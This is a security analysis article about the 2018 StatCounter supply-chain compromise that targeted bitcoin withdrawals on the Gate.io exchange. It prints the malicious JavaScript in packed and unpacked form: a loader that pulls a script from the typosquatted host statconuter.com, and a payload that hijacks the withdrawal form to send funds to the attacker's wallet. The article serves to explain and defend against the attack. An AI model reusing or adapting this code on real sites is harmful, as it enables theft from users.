Cryptocurrency Exchange Gate.io Suffers Supply-Chain Attack
How far Can Attackers Go?

StatCounter pulled down the malicious script on November 6. And several hours before, Gate.io ceased further using StatCounter analytics services to avert more infections. However, this incident is now resolved, and both the websites can be browsed now safely.

On November 3, hackers triumphantly contravened a leading web analytics—StatCounter. A service quite similar to Google Analytics, StatCounter is used by many webmasters to analyze statistics on their visitors. To access this service, webmasters as per the norm incorporate a piece of code from StatCounter— www.statcounter[.]com/counter/counter.js —into each webpage and add an additional JavaScript tag. Therefore, attackers can shoot up JavaScript code in all websites that use StatCounter by simply compromising the StatCounter platform.

As per their website, StatCounter has over 2 million-member websites and it analyzes stats on over 10 billion page views per month.

Attackers altered the script at www.statcounter[.]com/counter/counter.js  by merely adding a malicious code, displayed below in “improved” form below, in the middle of the script. This incident is unusual, since the attackers generally inject malicious code at the end or at the beginning of a valid file. Code shot up into the middle of an existing script is relatively trickier to spot through off-the-cuff observation.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

eval(function(p, a, c, k, e, r) {

e = function(c) {

return c.toString(a)

};

if (!”.replace(/^/, String)) {

while (c–) r[e(c)] = k[c] || e(c);

k = [function(e) {

return r[e]

}];

e = function() {

return ‘\\w+’

};

c = 1

};

while (c–)

if (k[c]) p = p.replace(new RegExp(‘\\b’ + e(c) + ‘\\b’, ‘g’), k[c]);

return p

}(‘3=””+2.4;5(3.6(\’7/8/9\’)>-1){a 0=2.b(\’d\’);0.e=\’f://g.h.i/c.j\’;0.k(\’l\’,\’m\’);2.n.o.p(0)}’, 26, 26, ‘ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild’.split(‘|’), 0, {}));

The script is sealed with the Dean Edwards packer, probably the most popular JavaScript packer. Nonetheless, the packer can be pettily unpacked. As a result, the actual script can be executed as shown below.

1

2

3

4

5

6

7

myselfloc = ” + document.location;

if (myselfloc.indexOf(‘myaccount/withdraw/BTC’) > -1) {

var ga = document.createElement(‘script’);

ga.src = ‘https://www.statconuter.com/c.php’;

ga.setAttribute(‘async’, ‘true’);

document.documentElement.firstChild.appendChild(ga);

}

This code first checks whether the URL myaccount/withdraw/BTC. Thus, it is easy to decipher that the attackers’ aim is to foil a Bitcoin platform. The script continues to add a new script element to the webpage and incorporating the code at https://www.statconuter[.]com/c.php, in case the check passes.

It is important to notice here that the hackers registered a domain that is pretty close to the original StatCounter one, statcounter[.]com. They simply swapped two letters, which can be hardly noticed when scanning logs for malicious activity. Surprisingly, while checking the passive DNS of the domain, ESET researchers noticed that the domain was already stopped in 2010 for misuse.

The script aims a particular Uniform Resource Identifier (URI): myaccount/withdraw/BTC as explained above. It came out that amidst the various cryptocurrency exchanges going on at the time of writing, only gate.io was a valid page with this URI. Therefore, this exchange was the main target of the attackers. With an Alexa rank of 26,251 and 8,308 in China, this  exchange is very popular.

According to coinmarketcap.com, several million dollars, including $1.6 million transit this platform every day in bitcoin transactions. Thus, it could be a profitable gateway for the attackers to embezzle cryptocurrency at a grand scale on this platform.

The webpage https://www.gate[.]io/myaccount/withdraw/BTC, shown below, is used to transfer bitcoin from a gate.io account to an external Bitcoin address.

Imaginably, the second stage payload— statconuter[.]com/c.php—is calculated to embezzle the bitcoins. Now it makes sense to shoot up the script into the gate.io bitcoin transfer page. The script also comes with the Dean Edwards packer. The unpacked version is shown below.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

document.forms[0][‘addr’].value = ”;

document.forms[0][‘amount’].value = ”;

doSubmit1 = doSubmit;

doSubmit = function () {

var a = document.getElementById(‘withdraw_form’);

if ($(‘#amount’).val() > 10) {

document.forms[0][‘addr’][‘name’] = ”;

var s = $(“<input type=’hidden’ name=’addr’/>”);

s.attr(‘value’, ‘1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad’);

var b = $(‘#withdraw_form’);

b.append(s);

a.submit();

} else if (document.getElementById(‘canUse’).innerText > 10) {

document.forms[0][‘addr’][‘name’] = ”;

var s = $(“<input type=’hidden’ name=’addr’/>”);

s.attr(‘value’, ‘1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad’);

var b = $(‘#withdraw_form’);

b.append(s);

document.forms[0][‘amount’][‘name’] = ”;

var t = $(“<input type=’hidden’ name=’amount’/>”);

t.attr(‘value’, Math.min(document.getElementById(‘canUse’).innerText, document.getElementById(‘dayLimit’).innerText));

b.append(t);

a.submit();

} else {

doSubmit1();

}

};

In the legitimate gate.io webpage, a doSubmit function already exists, called when the user clicks on the submit button, but in this case the attacker has redefined it.

The script mechanically swaps the destination Bitcoin address with an address belonging to the attackers, for instance 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad. The malicious server generates a fresh Bitcoin address every time a visitor loads the statconuter[.]com/c.php script. Thus, it is tough to determine how many bitcoins have been embezzled by the attackers.

Contingent on if the victim enters an amount above 10 BTC or not, the hackers’ script uses it or uses the victim’s daily withdrawal limit. In the ESET’s test account, the by default withdrawal limit is set to 100 BTC. In conclusion, the malicious script submits the form, further executing the transfer from the victim’s account to the attackers’ wallet.

The redirection probably goes unnoticed to the victims because the replacement is executed after the submit button is clicked. Since it happens quickly, it is probably not even displayed.

Conclusion

Although the number of bitcoins stolen during the attack is unknown it showcases the desperation behind in the attackers’ motive to target one particular cryptocurrency exchange website. To achieve their goal, they compromised an analytics service website, withseveral other website that included some government-related website, to embezzle bitcoin form customers of just one cryptocurrency exchange website.

Malicious URLs

statcounter[.]com/counter/counter.js

statconuter[.]com/c.php